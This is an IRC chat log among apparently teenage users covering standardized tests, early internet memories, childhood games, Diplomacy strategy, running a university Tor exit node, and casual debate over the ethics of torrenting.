[2015-04-07T19:43:29-0400] <nickthename> I took one practice act
[2015-04-07T19:46:32-0400] <+awe> I've never taken a practice standardized exam in my life.
[2015-04-07T19:46:39-0400] <+awe> Well, except for calc but we had to take it in class. .-.
[2015-04-07T19:55:49-0400] <JacobEdelman> awe: is that supposed to be a good thing?
[2015-04-07T19:56:19-0400] <+awe> It's an indicator that I didn't spend money to score higher on a test.
[2015-04-07T19:56:25-0400] <JacobEdelman> wat?
[2015-04-07T19:56:46-0400] <JacobEdelman> are you gonna make this into one of them socioeconomic thingies?
[2015-04-07T19:56:52-0400] <JacobEdelman> I didn't spend any money
[2015-04-07T19:57:05-0400] <JacobEdelman> my family had books that we had gotten for ben
[2015-04-07T19:57:25-0400] <JacobEdelman> and they were not the kinda of pricey books that divide class barriers
[2015-04-07T19:58:38-0400] <jwoglom> i mean, i've done some practice SAT stuff but it was from the old exams that are available online
[2015-04-07T20:03:34-0400] <LittleBobbyTables> JacobEdelman: yeah, weirdly, all crows have a Boston accent. It's why you hear them yell "cah" whenever they see a car.
[2015-04-07T20:04:15-0400] <+awe> LittleBobbyTables: ayyyy.
[2015-04-07T20:04:34-0400] <+awe> JacobEdelman: A great number of those books are like $400.
[2015-04-07T20:04:53-0400] <LittleBobbyTables> I was going to finish that joke like 12 hours ago
[2015-04-07T20:04:54-0400] <LittleBobbyTables> But he never responded
[2015-04-07T20:16:48-0400] <JacobEdelman> awe: ours are not
[2015-04-07T20:16:53-0400] <JacobEdelman> LittleBobbyTables: lol
[2015-04-07T20:17:15-0400] <+awe> JacobEdelman: also, anyway, that's a big contrast from most of the kids at our high school who spent thousands on prep courses.
[2015-04-07T20:18:07-0400] <LittleBobbyTables> I want to try Blind XSS now...
[2015-04-07T20:20:13-0400] <JacobEdelman> awe: well, I still beat most of them :)
[2015-04-07T20:20:22-0400] <+awe> Indeed.
[2015-04-07T20:22:10-0400] <LittleBobbyTables> That's mean, what'd they ever do to you :(
[2015-04-07T20:24:38-0400] <JacobEdelman> LittleBobbyTables: their existence challenged my dominance
[2015-04-07T20:24:43-0400] <JacobEdelman> :P
[2015-04-07T20:24:49-0400] <LittleBobbyTables> So you had to hurt them Dx
[2015-04-07T20:26:02-0400] <JacobEdelman> basicly
[2015-04-07T20:31:13-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=VKmeB8Rupro
[2015-04-07T20:33:38-0400] <LittleBobbyTables> Social Media is bigger than porn, now.
[2015-04-07T20:34:25-0400] <bob_twinkles> that's been true for... quite awhile now
[2015-04-07T20:34:43-0400] <LittleBobbyTables> lies
[2015-04-07T20:34:51-0400] <LittleBobbyTables> If I didn't know about it, it's not true.
[2015-04-07T20:34:53-0400] <LittleBobbyTables> That's how this works.
[2015-04-07T20:35:28-0400] <bob_twinkles> well, I guess it depends on how you mean "bigger"
[2015-04-07T20:35:50-0400] <bob_twinkles> as far as bandwidth goes I think that's been true for... at least >5 years
[2015-04-07T20:36:01-0400] <+awe> Netflix > porn.
[2015-04-07T20:36:02-0400] <+awe> :)
[2015-04-07T20:36:09-0400] <bob_twinkles> I don't know page view numbers off the top of my head
[2015-04-07T20:36:30-0400] <+awe> Did you know that Netflix does highly localized geocaching?
[2015-04-07T20:36:54-0400] <bob_twinkles> how do you mean?
[2015-04-07T20:37:05-0400] <bob_twinkles> like, they do their caching per-region?
[2015-04-07T20:37:18-0400] <+awe> They have deals with ISPs to keep machines in different hubs where those machines will cache content that people in that area are watching
[2015-04-07T20:37:22-0400] <jwoglom> inb4 netflix adds porn
[2015-04-07T20:37:32-0400] <bob_twinkles> oh, yeah
[2015-04-07T20:37:59-0400] <bob_twinkles> I think I saw that in some "the internet is a giant conspiracy" video
[2015-04-07T20:38:05-0400] <LittleBobbyTables> They have it already
[2015-04-07T20:39:14-0400] <JacobEdelman> so, the problem is those people who get off on high bandwidth voyeurism 
[2015-04-07T20:39:22-0400] <JacobEdelman> making all web traffic pron
[2015-04-07T20:39:24-0400] <JacobEdelman> *porn
[2015-04-07T20:39:30-0400] <JacobEdelman> it completely ruins the statistics
[2015-04-07T20:39:39-0400] <JacobEdelman> :P
[2015-04-07T20:40:20-0400] <bob_twinkles> I'm like 90% sure that a lot of the engineering expertise at like Youtube and Vimeo comes from the porn industry
[2015-04-07T20:40:23-0400] <bob_twinkles> at least originally
[2015-04-07T20:40:37-0400] <bob_twinkles> because they figured out video streaming way before anyone else
[2015-04-07T20:40:50-0400] <+awe> Yeah, there was streaming porn in the dial-up days.
[2015-04-07T20:41:23-0400] <LittleBobbyTables> Being old enough to use dial-up, it wasn't really streaming.
[2015-04-07T20:41:26-0400] <JacobEdelman> awe: and you know this because?
[2015-04-07T20:41:34-0400] <JacobEdelman> LittleBobbyTables: and how old were you?
[2015-04-07T20:41:38-0400] <+awe> 45.
[2015-04-07T20:41:43-0400] <JacobEdelman> lol
[2015-04-07T20:41:47-0400] <LittleBobbyTables> Can confirm.
[2015-04-07T20:41:52-0400] <LittleBobbyTables> This was three years in the future.
[2015-04-07T20:42:31-0400] <jwoglom> I think i had dial-up until..2003-4ish?
[2015-04-07T20:42:41-0400] <+awe> I had DSL in 2003.
[2015-04-07T20:42:47-0400] <+awe> Actually, we always had DSL.
[2015-04-07T20:42:57-0400] <JacobEdelman> I do not remember what I had in 2003
[2015-04-07T20:43:23-0400] <JacobEdelman> I was not using the internet back then
[2015-04-07T20:43:30-0400] <JacobEdelman> so logically I was not sentient
[2015-04-07T20:43:45-0400] <jwoglom> i remember using the internet when i was like 4 or 5 w/dialup
[2015-04-07T20:43:59-0400] <jwoglom> can only think of a few specific times though
[2015-04-07T20:44:03-0400] <+awe> I've been using computers since I was 1. Albeit I basically just played games for most of that.
[2015-04-07T20:44:32-0400] <jwoglom> heh, there's a picture of me playing some old computer game when i was like 3 or 4 :P
[2015-04-07T20:45:55-0400] <+awe> My mom likes to tell people about how I beat Putt-Putt Saves The Zoo at 1.
[2015-04-07T20:48:11-0400] <jwoglom> heh, nice accomplishment :P
[2015-04-07T20:49:41-0400] <+awe> Yeah, it's the best thing I've ever done
[2015-04-07T20:50:23-0400] <jwoglom> seems like your life already peaked
[2015-04-07T20:50:24-0400] <jwoglom> when you were 1 :P
[2015-04-07T20:50:36-0400] <jwoglom> what more can you accomplish now
[2015-04-07T20:50:50-0400] <LittleBobbyTables> There was this one game I played in Elementary school
[2015-04-07T20:50:54-0400] <LittleBobbyTables> I have no idea what it was
[2015-04-07T20:51:01-0400] <LittleBobbyTables> But I somehow started 3/4ths of the way through the game
[2015-04-07T20:51:12-0400] <LittleBobbyTables> Beat the game in like 2 weeks
[2015-04-07T20:51:26-0400] <LittleBobbyTables> The teachers were all like "wtf nobody's ever even beaten this game before"
[2015-04-07T20:51:29-0400] <LittleBobbyTables> And I got a cookie
[2015-04-07T20:54:39-0400] <+awe> jwoglom: literally nothing at all.
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[2015-04-07T20:39:13-0400] <JacobEdelman> so, the problem is those people who get off on high bandwidth voyeurism 
[2015-04-07T20:39:22-0400] <JacobEdelman> making all web traffic pron
[2015-04-07T20:39:24-0400] <JacobEdelman> *porn
[2015-04-07T20:39:30-0400] <JacobEdelman> it completely ruins the statistics
[2015-04-07T20:39:39-0400] <JacobEdelman> :P
[2015-04-07T20:40:20-0400] <bob_twinkles> I'm like 90% sure that a lot of the engineering expertise at like Youtube and Vimeo comes from the porn industry
[2015-04-07T20:40:23-0400] <bob_twinkles> at least originally
[2015-04-07T20:40:36-0400] <bob_twinkles> because they figured out video streaming way before anyone else
[2015-04-07T20:40:50-0400] <+awe> Yeah, there was streaming porn in the dial-up days.
[2015-04-07T20:41:23-0400] <LittleBobbyTables> Being old enough to use dial-up, it wasn't really streaming.
[2015-04-07T20:41:26-0400] <JacobEdelman> awe: and you know this because?
[2015-04-07T20:41:34-0400] <JacobEdelman> LittleBobbyTables: and how old were you?
[2015-04-07T20:41:38-0400] <+awe> 45.
[2015-04-07T20:41:43-0400] <JacobEdelman> lol
[2015-04-07T20:41:47-0400] <LittleBobbyTables> Can confirm.
[2015-04-07T20:41:52-0400] <LittleBobbyTables> This was three years in the future.
[2015-04-07T20:42:31-0400] <jwoglom> I think i had dial-up until..2003-4ish?
[2015-04-07T20:42:41-0400] <+awe> I had DSL in 2003.
[2015-04-07T20:42:47-0400] <+awe> Actually, we always had DSL.
[2015-04-07T20:42:57-0400] <JacobEdelman> I do not remember what I had in 2003
[2015-04-07T20:43:23-0400] <JacobEdelman> I was not using the internet back then
[2015-04-07T20:43:30-0400] <JacobEdelman> so logically I was not sentient
[2015-04-07T20:43:45-0400] <jwoglom> i remember using the internet when i was like 4 or 5 w/dialup
[2015-04-07T20:43:59-0400] <jwoglom> can only think of a few specific times though
[2015-04-07T20:44:03-0400] <+awe> I've been using computers since I was 1. Albeit I basically just played games for most of that.
[2015-04-07T20:44:32-0400] <jwoglom> heh, there's a picture of me playing some old computer game when i was like 3 or 4 :P
[2015-04-07T20:45:55-0400] <+awe> My mom likes to tell people about how I beat Putt-Putt Saves The Zoo at 1.
[2015-04-07T20:48:11-0400] <jwoglom> heh, nice accomplishment :P
[2015-04-07T20:49:41-0400] <+awe> Yeah, it's the best thing I've ever done
[2015-04-07T20:50:21-0400] <jwoglom> seems like your life already peaked
[2015-04-07T20:50:24-0400] <jwoglom> when you were 1 :P
[2015-04-07T20:50:36-0400] <jwoglom> what more can you accomplish now
[2015-04-07T20:50:50-0400] <LittleBobbyTables> There was this one game I played in Elementary school
[2015-04-07T20:50:54-0400] <LittleBobbyTables> I have no idea what it was
[2015-04-07T20:51:01-0400] <LittleBobbyTables> But I somehow started 3/4ths of the way through the game
[2015-04-07T20:51:12-0400] <LittleBobbyTables> Beat the game in like 2 weeks
[2015-04-07T20:51:26-0400] <LittleBobbyTables> The teachers were all like "wtf nobody's ever even beaten this game before"
[2015-04-07T20:51:29-0400] <LittleBobbyTables> And I got a cookie
[2015-04-07T20:54:39-0400] <+awe> jwoglom: literally nothing at all.
[2015-04-07T21:15:40-0400] <JacobEdelman> awe" lol
[2015-04-07T21:15:44-0400] <JacobEdelman> *awe: lol
[2015-04-07T21:15:47-0400] <JacobEdelman> LittleBobbyTables: lol
[2015-04-07T21:16:22-0400] <JacobEdelman> my biggest accomplishment when I was young was getting kicked out of pre-school for being to hard to handle
[2015-04-07T21:16:29-0400] <JacobEdelman> and then going to a different pre-school
[2015-04-07T21:16:37-0400] <JacobEdelman> and getting kicked out of that 2nd pre-school
[2015-04-07T21:17:13-0400] <jwoglom> man, you're tough
[2015-04-07T21:17:28-0400] <jwoglom> or just "that annoying kid"
[2015-04-07T21:18:17-0400] <JacobEdelman> I was the gangster
[2015-04-07T21:18:36-0400] <JacobEdelman> kicked out for forming gangs and leading the preK maffia
[2015-04-07T21:18:48-0400] <JacobEdelman> (fyi I was kicked out because I was that hyperactive)
[2015-04-07T21:27:52-0400] Mode is +nt
[2015-04-07T21:44:07-0400] <JacobEdelman> watching star wars 3
[2015-04-07T22:02:41-0400] <LittleBobbyTables> west side
[2015-04-07T22:14:23-0400] <JacobEdelman> ?
[2015-04-07T22:32:48-0400] <LittleBobbyTables> ?
[2015-04-07T22:33:18-0400] <jwoglom> ?
[2015-04-07T22:37:05-0400] <bob_twinkles> ?\
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[2015-04-08T01:25:19-0400] <LittleBobbyTables> did everyone die or something
[2015-04-08T01:35:31-0400] <+awe> Yeah, everyone is dead. The whole world is empty now, LittleBobbyTables.
[2015-04-08T01:35:42-0400] <LittleBobbyTables> Damn.
[2015-04-08T01:52:08-0400] <LittleBobbyTables> awe https://www.youtube.com/watch?v=ra-vjw502i0
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[2015-04-08T02:08:53-0400] <ubuntor> shock and awe
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[2015-04-08T06:40:29-0400] <fwilson> TIL that everyone is dead
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[2015-04-08T09:19:50-0400] <JacobEdelman> gmorning 
[2015-04-08T09:19:51-0400] <JacobEdelman> I notice everyone died
[2015-04-08T09:20:06-0400] <JacobEdelman> "1:34 AM <+awe> Yeah, everyone is dead. The whole world is empty now, LittleBobbyTables."
[2015-04-08T09:20:09-0400] <JacobEdelman> so sad
[2015-04-08T09:20:10-0400] <JacobEdelman> :P
[2015-04-08T09:20:16-0400] <JacobEdelman> *gmorning all
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[2015-04-08T14:25:10-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-07T21:16:29-0400] <JacobEdelman> and then going to a different pre-school
[2015-04-07T21:16:37-0400] <JacobEdelman> and getting kicked out of that 2nd pre-school
[2015-04-07T21:17:13-0400] <jwoglom> man, you're tough
[2015-04-07T21:17:28-0400] <jwoglom> or just "that annoying kid"
[2015-04-07T21:18:17-0400] <JacobEdelman> I was the gangster
[2015-04-07T21:18:36-0400] <JacobEdelman> kicked out for forming gangs and leading the preK maffia
[2015-04-07T21:18:48-0400] <JacobEdelman> (fyi I was kicked out because I was that hyperactive)
[2015-04-07T21:44:06-0400] <JacobEdelman> watching star wars 3
[2015-04-07T22:02:40-0400] <LittleBobbyTables> west side
[2015-04-07T22:14:23-0400] <JacobEdelman> ?
[2015-04-07T22:32:48-0400] <LittleBobbyTables> ?
[2015-04-07T22:33:18-0400] <jwoglom> ?
[2015-04-07T22:37:05-0400] <bob_twinkles> ?\
[2015-04-08T01:25:19-0400] <LittleBobbyTables> did everyone die or something
[2015-04-08T01:35:31-0400] <+awe> Yeah, everyone is dead. The whole world is empty now, LittleBobbyTables.
[2015-04-08T01:35:42-0400] <LittleBobbyTables> Damn.
[2015-04-08T01:52:08-0400] <LittleBobbyTables> awe https://www.youtube.com/watch?v=ra-vjw502i0
[2015-04-08T02:08:53-0400] <ubuntor> shock and awe
[2015-04-08T06:40:29-0400] <fwilson> TIL that everyone is dead
[2015-04-08T09:19:50-0400] <JacobEdelman> gmorning 
[2015-04-08T09:19:51-0400] <JacobEdelman> I notice everyone died
[2015-04-08T09:20:06-0400] <JacobEdelman> "1:34 AM <+awe> Yeah, everyone is dead. The whole world is empty now, LittleBobbyTables."
[2015-04-08T09:20:09-0400] <JacobEdelman> so sad
[2015-04-08T09:20:10-0400] <JacobEdelman> :P
[2015-04-08T09:20:16-0400] <JacobEdelman> *gmorning all
[2015-04-08T10:38:35-0400] <nickthename> LittleBobbyTables: what game?
[2015-04-08T10:38:56-0400] <LittleBobbyTables> 12:50 AM <LittleBobbyTables> I have no idea what it was
[2015-04-08T10:40:22-0400] <nickthename> a shame, I love games
[2015-04-08T10:44:15-0400] <nickthename> LittleBobbyTables: you ever play the one where both players simultaneously either load, shield, or fire?
[2015-04-08T10:44:24-0400] <nickthename> We played it in elementary school
[2015-04-08T10:44:30-0400] <nickthename> not sure if it has a name, though
[2015-04-08T10:44:39-0400] <LittleBobbyTables> Sounds like a version of RPS
[2015-04-08T10:44:46-0400] <nickthename> no
[2015-04-08T10:45:00-0400] <nickthename> it has multiple states
[2015-04-08T10:45:06-0400] <nickthename> when you load, you gain ammo
[2015-04-08T10:45:11-0400] <nickthename> can't fire without ammo
[2015-04-08T10:45:17-0400] <nickthename> rps doesn't act that way
[2015-04-08T10:45:36-0400] <nickthename> the mixed strategy for this game is more interesting
[2015-04-08T13:39:15-0400] <JacobEdelman> nickthename: I remember that game
[2015-04-08T13:39:22-0400] <JacobEdelman> nickthename: I also remember cheating...
[2015-04-08T13:39:25-0400] <JacobEdelman> at that game
[2015-04-08T13:42:41-0400] <JacobEdelman> wait a second
[2015-04-08T13:42:46-0400] <JacobEdelman> with just the basic simple rules
[2015-04-08T13:42:50-0400] <JacobEdelman> that game would never end
[2015-04-08T13:42:55-0400] <JacobEdelman> first round both players load
[2015-04-08T13:43:16-0400] <JacobEdelman> no more loading needed after that
[2015-04-08T13:43:40-0400] <JacobEdelman> then at some point later one player will fire and the other player will either fire (game over for both) or block
[2015-04-08T13:44:12-0400] <JacobEdelman> if the player does block, then the other player has no reason to do anything but block until the player who is still loaded fires
[2015-04-08T13:44:18-0400] <JacobEdelman> in which case the game repeats
[2015-04-08T13:44:28-0400] <JacobEdelman> hence, nobody should ever win
[2015-04-08T14:25:12-0400] Mode is +nt
[2015-04-08T14:31:16-0400] <+awe> JacobEdelman: usually you play with health
[2015-04-08T14:31:25-0400] <+awe> JacobEdelman: like you can take two or three shots or something.
[2015-04-08T14:31:36-0400] <JacobEdelman> ah, still
[2015-04-08T14:31:39-0400] <JacobEdelman> its the same thing
[2015-04-08T14:31:43-0400] <+awe> No, it's not.
[2015-04-08T14:31:47-0400] <JacobEdelman> oh wait
[2015-04-08T14:31:53-0400] <JacobEdelman> if you can load up multiple shots at once
[2015-04-08T14:31:53-0400] <+awe> Because you don't want to waste your time, and you need to load for each shot.
[2015-04-08T14:31:55-0400] <JacobEdelman> then it doesn't
[2015-04-08T14:32:01-0400] <+awe> Yes, you can load multiple shots at once.
[2015-04-08T14:32:04-0400] <JacobEdelman> okay
[2015-04-08T14:32:07-0400] <JacobEdelman> then it changes
[2015-04-08T14:58:35-0400] <nickthename> JacobEdelman: no
[2015-04-08T14:58:42-0400] <nickthename> after 3 loads, you can shoot through shield
[2015-04-08T14:58:48-0400] <nickthename> that's why it's a good game
[2015-04-08T14:59:11-0400] <nickthename> (if you have 3 bullets loaded at once)
[2015-04-08T14:59:14-0400] <nickthename> it's actually very good
[2015-04-08T14:59:35-0400] <nickthename> I think it's a better game if someone with shield breaking and someone without shoot eachother, it's a draw
[2015-04-08T15:00:11-0400] <nickthename> I don't like making the game end in a draw for match play, but it works way better that way because it adds some deep interactions
[2015-04-08T15:00:21-0400] <nickthename> with one player having 3 and the other playing for a draw or loss
[2015-04-08T15:00:41-0400] <JacobEdelman> oooh
[2015-04-08T15:00:45-0400] <nickthename> Health could be added, but I haven't thought about that much
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[2015-04-08T15:01:02-0400] <nickthename> I think it's a fantastic game on its own
[2015-04-08T15:01:21-0400] <nickthename> like the absolute core of a fighting or strategy game
[2015-04-08T15:09:19-0400] <JacobEdelman> hmmm.... you clearly have never played resistance
[2015-04-08T15:09:28-0400] <JacobEdelman> or diplomacy
[2015-04-08T15:31:34-0400] <nickthename> I have played diplomacy, several times
[2015-04-08T15:31:42-0400] <nickthename> great game
[2015-04-08T15:32:35-0400] <nickthename> it's a different dynamic because of the introduction of multiple players
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[2015-04-08T15:43:32-0400] <JacobEdelman> true
[2015-04-08T15:43:48-0400] <JacobEdelman> I had one friend backstab me three times
[2015-04-08T15:43:50-0400] <JacobEdelman> in the same game
[2015-04-08T15:44:08-0400] <JacobEdelman> (I kept getting increasingly desperate and thus willing to take the increasingly greater risk he would backstab me again)
[2015-04-08T15:45:03-0400] <nickthename> heh
[2015-04-08T15:46:22-0400] <nickthename> my preferred strategy was inciting as many fights as possible between other players
[2015-04-08T15:47:06-0400] <nickthename> tell both sides i'd only help them if they committed to attacking the other
[2015-04-08T15:52:00-0400] <JacobEdelman> hmmm
[2015-04-08T15:52:07-0400] <JacobEdelman> I should try that next game
[2015-04-08T15:52:08-0400] <JacobEdelman> but wait
[2015-04-08T15:52:18-0400] <JacobEdelman> wouldn't they just turn against you if you didn't help them?
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[2015-04-08T16:26:46-0400] <JacobEdelman> hmmm
[2015-04-08T16:26:50-0400] <JacobEdelman> its gotten quieter here
[2015-04-08T16:26:53-0400] <JacobEdelman> or it feels quieter
[2015-04-08T16:27:04-0400] <JacobEdelman> but that may just be because its during the day
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[2015-04-08T17:06:04-0400] <+awe> JacobEdelman: it's probably partially because I was busy and then I took a nap.
[2015-04-08T17:12:18-0400] <nickthename> JacobEdelman: if they're nearby you, you do help them eventually
[2015-04-08T17:12:28-0400] <nickthename> but since they're already in a conflict, they're not eager to fight you too
[2015-04-08T17:13:15-0400] <JacobEdelman> hmm
[2015-04-08T17:13:19-0400] <JacobEdelman> but won't they both unite?
[2015-04-08T17:13:28-0400] <JacobEdelman> awe: no more napping
[2015-04-08T17:13:32-0400] <JacobEdelman> awe: or sleeping
[2015-04-08T17:13:39-0400] <nickthename> they could, that's a fear
[2015-04-08T17:13:55-0400] <nickthename> but it's hard to unite when you're at eachothers throats
[2015-04-08T17:14:04-0400] <nickthename> it's much easier to trust someone that isn't already attacking you
[2015-04-08T17:14:53-0400] <nickthename> smarter players will ask for more of a commitment from you, I think
[2015-04-08T17:16:28-0400] <JacobEdelman> okay, cool
[2015-04-08T17:33:00-0400] <Pharyngeal> In a few days, I will be booting an authorized Tor exit node for my University :D
[2015-04-08T17:34:23-0400] <nickthename> nice
[2015-04-08T17:34:50-0400] <Pharyngeal> I am so excited. I just had the rdns set properly
[2015-04-08T17:35:12-0400] <Pharyngeal> tor-exit-node.seas.upenn.edu
[2015-04-08T17:37:37-0400] <sdamashek> not bad
[2015-04-08T17:43:08-0400] <+awe> Pharyngeal: oo, that's fun. Congratulations!
[2015-04-08T17:55:49-0400] <fwilson> :D
[2015-04-08T17:56:23-0400] <jwoglom> oh nice :D
[2015-04-08T17:56:42-0400] <jwoglom> it's good that universities and such are supporting tor exit nodes
[2015-04-08T17:56:49-0400] <jwoglom> so they aren't all run by sketchy unknown people
[2015-04-08T17:57:04-0400] <fwilson> :D
[2015-04-08T17:59:12-0400] <+awe> Some school policies only allow you to run intermediary nodes and not exit nodes though.
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[2015-04-08T18:53:13-0400] <z3t> April 8th, 2015. To be forever remembered as the worst day of my life.
[2015-04-08T18:53:22-0400] <jwoglom> why?
[2015-04-08T18:53:38-0400] <+awe> He got diagnosed with syphilis this morning.
[2015-04-08T18:54:13-0400] <z3t> ehm, not going to talk about it until this guy is found guilty...
[2015-04-08T18:54:36-0400] <+awe> Oh.
[2015-04-08T18:57:32-0400] <kenzierocks> welp
[2015-04-08T19:04:03-0400] <z3t> buffer 5
[2015-04-08T19:04:16-0400] <z3t> oops
[2015-04-08T19:04:24-0400] <kenzierocks> lol
[2015-04-08T19:04:24-0400] <failedxyz> what is tor exit node
[2015-04-08T19:04:49-0400] <jwoglom> where requests from the tor network reach the rest of the internet
[2015-04-08T19:05:13-0400] <z3t> https://www.torproject.org/about/overview.html.en
[2015-04-08T19:08:19-0400] <kenzierocks> maybe i should install that
[2015-04-08T19:08:33-0400] <kenzierocks> for the longest time i was under the impression it was a browser
[2015-04-08T19:08:38-0400] <kenzierocks> just a browser
[2015-04-08T19:09:11-0400] <jwoglom> it just usually comes bundled in a package that includes the software and a customized firefox install
[2015-04-08T19:09:19-0400] <jwoglom> referred to as "tor browser"
[2015-04-08T19:09:22-0400] <kenzierocks> but chrome
[2015-04-08T19:09:47-0400] <kenzierocks> i actually need chrome, there's a lot of stuff i do that doesn't carry over
[2015-04-08T19:09:59-0400] <jwoglom> the idea is that it's completely separate from the rest of your system
[2015-04-08T19:10:05-0400] <kenzierocks> mmhm
[2015-04-08T19:10:07-0400] <jwoglom> tor browser isn't even completely secure
[2015-04-08T19:10:23-0400] <jwoglom> you can escape the sandbox pretty easily if you open any sort of 3rd party application
[2015-04-08T19:10:26-0400] <jwoglom> or plugin
[2015-04-08T19:10:34-0400] <jwoglom> if you really want to do tor right, use tails
[2015-04-08T19:12:19-0400] <kenzierocks> tails?
[2015-04-08T19:12:45-0400] <kenzierocks> huh
[2015-04-08T19:12:52-0400] <kenzierocks> well...osx/windows
[2015-04-08T19:12:57-0400] <kenzierocks> oh well
[2015-04-08T19:13:02-0400] <z3t> https://tails.boum.org/
[2015-04-08T19:14:24-0400] <jwoglom> tails is a linux livecd that automatically routes everything over tor
[2015-04-08T19:15:17-0400] <kenzierocks> yea, i got that
[2015-04-08T19:15:27-0400] <z3t> I wonder what LittleBobbyTables runs...
[2015-04-08T19:15:39-0400] <kenzierocks> but i can't really run everything over tor
[2015-04-08T19:15:51-0400] <kenzierocks> i play windows-exclusive stuff...will tor route games?
[2015-04-08T19:16:08-0400] <+awe> Tor will route everything.
[2015-04-08T19:16:20-0400] <+awe> But you're an awful person if you play games over Tor.
[2015-04-08T19:16:32-0400] <z3t> I don't think that'd go ver well
[2015-04-08T19:16:35-0400] <z3t> over *
[2015-04-08T19:17:01-0400] <jwoglom> or if you torrent
[2015-04-08T19:17:16-0400] <kenzierocks> i torrent because it's faster than dropbox for large files
[2015-04-08T19:17:17-0400] <jwoglom> but it's so rediculously slow that i don't even know how you would do it
[2015-04-08T19:17:22-0400] <jwoglom> torrent over tor, i mean
[2015-04-08T19:17:24-0400] <kenzierocks> oh
[2015-04-08T19:17:25-0400] <kenzierocks> kk
[2015-04-08T19:32:17-0400] <fwilson> i torrent because i want free movies
[2015-04-08T19:32:19-0400] <fwilson> i mean
[2015-04-08T19:32:21-0400] <fwilson> hi
[2015-04-08T19:32:23-0400] <fwilson> i do nothing illegal
[2015-04-08T19:32:46-0400] <+awe> But guys, it's immoral to break the law!
[2015-04-08T19:33:03-0400] <JacobEdelman> civil disobediance has its places
[2015-04-08T19:33:04-0400] <jwoglom> s/movies/linux isos/
[2015-04-08T19:33:08-0400] <JacobEdelman> fwilson: that is illegal
[2015-04-08T19:33:25-0400] <fwilson> awe: says the person blatantly resisting government censorship
[2015-04-08T19:33:26-0400] <fwilson> that's not patriotic
[2015-04-08T19:33:37-0400] <JacobEdelman> awe: was being sarcastic
[2015-04-08T19:33:41-0400] <JacobEdelman> *awe
[2015-04-08T19:33:47-0400] <jwoglom> awe: r u a commie m8
[2015-04-08T19:34:01-0400] <+awe> http://pdgn.co
[2015-04-08T19:34:08-0400] <+awe> "democratic autonomism"
[2015-04-08T19:34:14-0400] <fwilson> JacobEdelman: i am too ;_;
[2015-04-08T19:34:14-0400] <JacobEdelman> awe: he's an anarachocyyptosocial democract
[2015-04-08T19:34:15-0400] <JacobEdelman> thing
[2015-04-08T19:34:16-0400] <+awe> https://en.wikipedia.org/wiki/Autonomism
[2015-04-08T19:34:24-0400] <JacobEdelman> fwilson: ah, i thought you might
[2015-04-08T19:34:25-0400] <fwilson> is that where i automatically nom things
[2015-04-08T19:34:31-0400] <JacobEdelman> jwoglom: basicly, awe's a nutso
[2015-04-08T19:34:36-0400] <fwilson> ayyyyy lmawe
[2015-04-08T19:34:37-0400] <JacobEdelman> :P
[2015-04-08T19:34:43-0400] <jwoglom> ayy
[2015-04-08T19:34:45-0400] <+awe> I'm an anti-statist leftist. What's so hard to understand about that?
[2015-04-08T19:34:47-0400] <fwilson> basicly, i kan't spel :(
[2015-04-08T19:35:10-0400] <jwoglom> fwelsan: i'ts okey
[2015-04-08T19:35:21-0400] <z3t> I'm curious....awe what's your morality stance on illegally downloading entertainment content?
[2015-04-08T19:35:35-0400] <JacobEdelman> z3t: I'll give you one guess
[2015-04-08T19:35:41-0400] <+awe> You should already know.
[2015-04-08T19:35:43-0400] <fwilson> i download movies for educational purposes
[2015-04-08T19:35:46-0400] <fwilson> therefore it is fair use
[2015-04-08T19:35:49-0400] <fwilson> what are you going to do about it government
[2015-04-08T19:36:02-0400] <+awe> fwilson: nothing, but the MPAA might try to press charges.
[2015-04-08T19:36:08-0400] <fwilson> awe: fair use!
[2015-04-08T19:36:13-0400] <z3t> I don't know awe.
[2015-04-08T19:36:19-0400] <+awe> fwilson: Tell that to their wallets.
[2015-04-08T19:36:21-0400] <fwilson> root@mabel:~ # cd ~znc
[2015-04-08T19:36:29-0400] <fwilson> /nope: No such file or directory.
[2015-04-08T19:36:31-0400] <fwilson> what was i thinking
[2015-04-08T19:36:41-0400] <+awe> z3t: I'm expressly accepting of stealing from capitalists.
[2015-04-08T19:36:46-0400] <JacobEdelman> its immoral not to torrent
[2015-04-08T19:36:49-0400] <z3t> Oh yea
[2015-04-08T19:36:51-0400] <JacobEdelman> :P
[2015-04-08T19:37:03-0400] <JacobEdelman> I think you should torrent as a form of social disobediance
[2015-04-08T19:37:14-0400] <JacobEdelman> there are a few cases were I think torrenting is not appropriate
[2015-04-08T19:37:48-0400] <JacobEdelman> but in the end I just end up contribtuing towards the work of authors I torrent if they deserve it
[2015-04-08T19:37:48-0400] <jwoglom> i hate how companies say they've "lost X amount of money due to torrenting"
[2015-04-08T19:37:51-0400] <fwilson> like downloading ubuntu isos
[2015-04-08T19:37:53-0400] <fwilson> that's immoral
[2015-04-08T19:37:54-0400] <+awe> If you torrent from an independent person, you're pretty lousy.
[2015-04-08T19:37:57-0400] <z3t> I only torrent music from large artists, if they're lesser known I'll try to pay for it.
[2015-04-08T19:38:06-0400] <+awe> Erm, rather if you pirate content from an independent person.
[2015-04-08T19:38:14-0400] <fwilson> ^ yup
[2015-04-08T19:38:19-0400] <jwoglom> you didn't lose any money, you just didn't gain additional money..not everyone who torrents your stuff would actually pay for it
[2015-04-08T19:38:32-0400] <+awe> jwoglom: and in fact, almost none of them would.
[2015-04-08T19:38:49-0400] <jwoglom> awe: shhh, let's try and break it to them one step at a time
[2015-04-08T19:38:50-0400] <+awe> z3t: if you like an artist, see them live.
[2015-04-08T19:39:06-0400] <+awe> z3t: unless they're actually independent, they don't really get much from you buying their album anyway.
[2015-04-08T19:40:17-0400] <fwilson> bandcamp yay
[2015-04-08T19:40:36-0400] <jwoglom> s/dc/d c/
[2015-04-08T19:40:42-0400] <fwilson> no
[2015-04-08T19:40:44-0400] <fwilson> bandcamp
[2015-04-08T19:40:46-0400] <fwilson> pls
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[2015-04-08T19:53:45-0400] <fwilson> assface!
[2015-04-08T19:54:57-0400] <jwoglom> fwilson!
[2015-04-08T19:55:46-0400] <JacobEdelman> jwoglom!
[2015-04-08T19:55:54-0400] <jwoglom> JacobEdelman!
[2015-04-08T19:55:58-0400] <LittleBobbyTables> JacobEdelman: 
[2015-04-08T19:56:01-0400] <+awe> awe!
[2015-04-08T19:56:02-0400] <JacobEdelman> LittleBobbyTables!
[2015-04-08T19:56:03-0400] <fwilson> awe!
[2015-04-08T19:56:06-0400] <fwilson> LittleBobbyTables!
[2015-04-08T19:56:06-0400] <JacobEdelman> awe!
[2015-04-08T19:56:08-0400] <fwilson> JacobEdelman!
[2015-04-08T19:56:09-0400] <fwilson> jwoglom!
